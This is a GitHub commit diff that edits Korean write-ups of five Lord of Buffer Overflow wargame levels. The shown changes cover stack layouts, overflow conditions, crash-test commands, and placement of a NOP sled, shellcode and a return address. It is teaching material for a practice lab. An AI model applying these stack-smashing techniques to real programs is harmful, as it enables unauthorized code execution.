Skip to content

Commit

Permalink
1030-4
Browse files Browse the repository at this point in the history
  • Loading branch information
joizel committed Oct 30, 2017
1 parent e7db949 commit 72edd18
Show file tree
Hide file tree
Showing 8 changed files with 106 additions and 110 deletions.
27 changes: 11 additions & 16 deletions docs/wargame/pwnable/lob1.rst
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
============================================================================================================
[redhat-lob] gremlin
[redhat-lob] (1) gremlin
============================================================================================================


Expand All @@ -21,8 +21,6 @@
Source code
============================================================================================================

lob 문제의 경우 소스코드가 공개되어 있으며, 소스코드는 다음과 같다.

.. code-block:: c
int main(int argc, char *argv[])
Expand All @@ -42,18 +40,19 @@ lob 문제의 경우 소스코드가 공개되어 있으며, 소스코드는 다
Vulnerabliity Vector
============================================================================================================


스택 메모리 공간에 다음과 같이 들어가게 된다.
사이즈가 256바이트인 char 형 변수 배열 buffer가 선언되어 있는데, 해당 사이즈보다 큰 값을 입력할 경우 오버플로우가 발생한다.

.. code-block:: console
===============
LOW
---------------
Buffer (256byte)
SFP (4byte) <- strcpy overflow
RET (4byte)
SFP (4byte)
RET (4byte) <- strcpy overflow
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
---------------
HIGH
===============
Expand All @@ -63,14 +62,10 @@ Vulnerabliity Vector
Buffer Overflow
============================================================================================================

strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, 값이 버퍼보다 클 경우 오버플로우가 발생된다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행

.. code-block:: console
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./gremlin `python -c "print 'a'*256"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Expand All @@ -79,7 +74,6 @@ strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, 값이
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaa
$ ./gremlin `python -c "print 'a'*260"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Expand All @@ -96,8 +90,6 @@ strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, 값이
exploit
============================================================================================================

현재 버퍼 오버플로우가 발생하는 것을 확인하였으니, 해당 오버플로우시 RET에서 리턴되는 주소값을 내가 원하는 주소로 바꿔 쉘코드를 실행하도록 해보자.

환경 변수 상에 쉘코드 등록
------------------------------------------------------------------------------------------------------------

Expand Down Expand Up @@ -152,6 +144,9 @@ RET 주소를 환경 변수 주소로 덮어씌워 공격 진행
Buffer (256byte) <- "\x90"*256
SFP (4byte) <- "\x90"*4
RET (4byte) <- shellcode 환경 변수 주소
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
---------------
HIGH
===============
Expand Down
22 changes: 11 additions & 11 deletions docs/wargame/pwnable/lob2.rst
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
============================================================================================================
[redhat-lob] cobolt
[redhat-lob] (2) cobolt
============================================================================================================


Expand All @@ -21,8 +21,6 @@
Source Code
============================================================================================================

lob 문제의 경우 소스코드가 공개되어 있으며, 소스코드는 다음과 같다.

.. code-block:: c
int main(int argc, char *argv[])
Expand All @@ -42,16 +40,18 @@ Vulnerabliity Vector
============================================================================================================

스택 메모리 공간에 다음과 같이 들어가게 된다.
사이즈가 16바이트인 char 형 변수 배열 buffer가 선언되어 있는데, 해당 사이즈보다 큰 값을 입력할 경우 오버플로우가 발생한다.

.. code-block:: console
===============
LOW
---------------
Buffer (16byte)
SFP (4byte) <- strcpy overflow
RET (4byte)
SFP (4byte)
RET (4byte) <- strcpy overflow
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
---------------
HIGH
===============
Expand All @@ -61,12 +61,11 @@ Vulnerabliity Vector
Buffer Overflow
============================================================================================================

strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, 값이 버퍼보다 클 경우 오버플로우가 발생된다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행

.. code-block:: console
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./cobolt `python -c "print 'a'*16"`
aaaaaaaaaaaaaaaa
Expand All @@ -82,8 +81,6 @@ strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, 값이
exploit
============================================================================================================

현재 버퍼 오버플로우가 발생하는 것을 확인하였으니, 해당 오버플로우시 RET에서 리턴되는 주소값을 내가 원하는 주소로 바꿔 쉘코드를 실행하도록 해보자.

환경 변수 쉘코드 등록
------------------------------------------------------------------------------------------------------------

Expand Down Expand Up @@ -135,6 +132,9 @@ RET 주소를 환경 변수 주소로 변경하여 공격 진행
Buffer (16byte) <- "\x90"*16
SFP (4byte) <- "\x90"*4
RET (4byte) <- shellcode 환경 변수 주소
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
---------------
HIGH
===============
Expand Down
20 changes: 9 additions & 11 deletions docs/wargame/pwnable/lob3.rst
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
============================================================================================================
[redhat-lob] goblin
[redhat-lob] (3) goblin
============================================================================================================


Expand All @@ -21,8 +21,6 @@
Source Code
============================================================================================================

lob 문제의 경우 소스코드가 공개되어 있으며, 소스코드는 다음과 같다.

.. code-block:: c
int main()
Expand All @@ -39,16 +37,17 @@ Vulnerabliity Vector
============================================================================================================

스택 메모리 공간에 다음과 같이 들어가게 된다.
사이즈가 16바이트인 char 형 변수 배열 buffer가 선언되어 있는데, 해당 사이즈보다 큰 값을 입력할 경우 오버플로우가 발생한다.

.. code-block:: console
===============
LOW
---------------
Buffer (16byte)
SFP (4byte) <- gets overflow
RET (4byte)
SFP (4byte)
RET (4byte) <- gets overflow
argc (4byte) <- 0x00000001
argv[0] (4byte) <- argv[0] 주소
---------------
HIGH
===============
Expand All @@ -58,12 +57,11 @@ Vulnerabliity Vector
Buffer Overflow
============================================================================================================

gets에 입력한 값을 통해 buffer 변수에 입력될 때, 값이 버퍼보다 클 경우 오버플로우가 발생된다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행

.. code-block:: console
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./goblin
aaaaaaaaaaaaaaaa
Expand All @@ -80,8 +78,6 @@ gets에 입력한 값을 통해 buffer 변수에 입력될 때, 값이 버퍼보
exploit
============================================================================================================

현재 버퍼 오버플로우가 발생하는 것을 확인하였으니, 해당 오버플로우시 RET에서 리턴되는 주소값을 내가 원하는 주소로 바꿔 쉘코드를 실행하도록 해보자.

환경 변수 쉘코드 등록
------------------------------------------------------------------------------------------------------------

Expand Down Expand Up @@ -133,6 +129,8 @@ RET 주소를 환경 변수 주소로 변경하여 공격 진행
Buffer (16byte) <- "\x90"*16
SFP (4byte) <- "\x90"*4
RET (4byte) <- shellcode 환경 변수 주소
argc (4byte) <- 0x00000001
argv[0] (4byte) <- argv[0] 주소
---------------
HIGH
===============
Expand Down
26 changes: 13 additions & 13 deletions docs/wargame/pwnable/lob4.rst
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
============================================================================================================
[redhat-lob] orc
[redhat-lob] (4) orc
============================================================================================================


Expand All @@ -21,8 +21,6 @@
Source Code
============================================================================================================

lob 문제의 경우 소스코드가 공개되어 있으며, 소스코드는 다음과 같다.

.. code-block:: c
#include <stdio.h>
Expand Down Expand Up @@ -61,8 +59,6 @@ Vulnerabliity Vector
============================================================================================================

스택 메모리 공간에 다음과 같이 들어가게 된다.
사이즈가 40바이트인 char 형 변수 배열 buffer가 선언되어 있는데, argv[1][47]=="\\bf" 조건을 만족하면 오버플로우가 발생한다.


.. code-block:: console
Expand All @@ -72,8 +68,9 @@ Vulnerabliity Vector
Buffer (40byte)
SFP (4byte)
RET (4byte) <- strcpy overflow
argc (4byte)
argv (4byte)
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
----------------
HIGH
================
Expand All @@ -83,12 +80,16 @@ Vulnerabliity Vector
Buffer Overflow
============================================================================================================

strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, argv[1][47]=="\\bf" 조건을 만족하고 값이 버퍼보다 클 경우 오버플로우가 발생된다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
Overflow condition

- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[1]의 47번째 문자열이 "\\xbf"이어야 함

.. code-block:: console
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./orc `python -c 'print "a"*47'`
stack is still your friend.
Expand All @@ -104,8 +105,6 @@ strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, argv[1
exploit
============================================================================================================

기존 문제들의 경우 환경 변수에 쉘코드를 삽입하여 해당 영역으로 RET를 할 수 있었으나, 해당 문제는 environ을 초기화하여 환경 변수 사용이 불가능하다.

argv[1]이 저장되는 주소 확인
------------------------------------------------------------------------------------------------------------

Expand Down Expand Up @@ -178,8 +177,9 @@ RET 주소를 argv[1] 주소로 변경하여 공격 진행
Buffer (40byte) <- "\x90"*19 + shellcode (21)
SFP (4byte) <- shellcode (4)
RET (4byte) <- argv[1] address
argc (4byte)
argv (4byte)
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
----------------
HIGH
================
Expand Down
28 changes: 14 additions & 14 deletions docs/wargame/pwnable/lob5.rst
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
============================================================================================================
[redhat-lob] wolfman
[redhat-lob] (5) wolfman
============================================================================================================


Expand All @@ -22,8 +22,6 @@
Source Code
============================================================================================================

lob 문제의 경우 소스코드가 공개되어 있으며, 소스코드는 다음과 같다.

.. code-block:: c
#include <stdio.h>
Expand All @@ -41,7 +39,7 @@ lob 문제의 경우 소스코드가 공개되어 있으며, 소스코드는 다
exit(0);
}
// egghunter
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
Expand All @@ -63,7 +61,6 @@ Vulnerabliity Vector
============================================================================================================

스택 메모리 공간에 다음과 같이 들어가게 된다.
사이즈가 40바이트인 char 형 변수 배열 buffer가 선언되어 있는데, argv[1][47]=="\\bf" 조건을 만족하면 오버플로우가 발생한다.

.. code-block:: console
Expand All @@ -72,9 +69,10 @@ Vulnerabliity Vector
----------------
Buffer (40byte)
SFP (4byte)
RET (4byte) <- strcpy overflow
argc (4byte)
argv (4byte)
RET (4byte) <- strcpy overflow
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
----------------
HIGH
================
Expand All @@ -84,12 +82,15 @@ Vulnerabliity Vector
Buffer Overflow
============================================================================================================

strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, argv[1][47]=="\\bf" 조건을 만족하고 값이 버퍼보다 클 경우 오버플로우가 발생된다.
Overflow condition

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행.
- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[1]의 47번째 문자열이 "\\xbf"이어야 함

.. code-block:: console
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./wolfman `python -c 'print "a"*47'`
stack is still your friend.
Expand All @@ -105,8 +106,6 @@ strcpy에서 argv[1] 인자 값을 통해 buffer 변수에 입력될 때, argv[1
exploit
============================================================================================================

기존 문제들의 경우 환경 변수에 쉘코드를 삽입하여 해당 영역으로 RET를 할 수 있었으나, 해당 문제는 environ을 초기화하여 환경 변수 사용이 불가능하다.

argv[1]이 저장되는 주소 확인
------------------------------------------------------------------------------------------------------------

Expand Down Expand Up @@ -177,8 +176,9 @@ RET 주소를 argv[1] 주소로 변경하여 공격 진행
Buffer (40byte) <- "\x90"*19 + shellcode
SFP (4byte) <- shellcode
RET (4byte) <- argv[1] address
argc (4byte)
argv (4byte)
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
----------------
HIGH
================
Expand Down

0 comments on commit 72edd18

Please sign in to comment.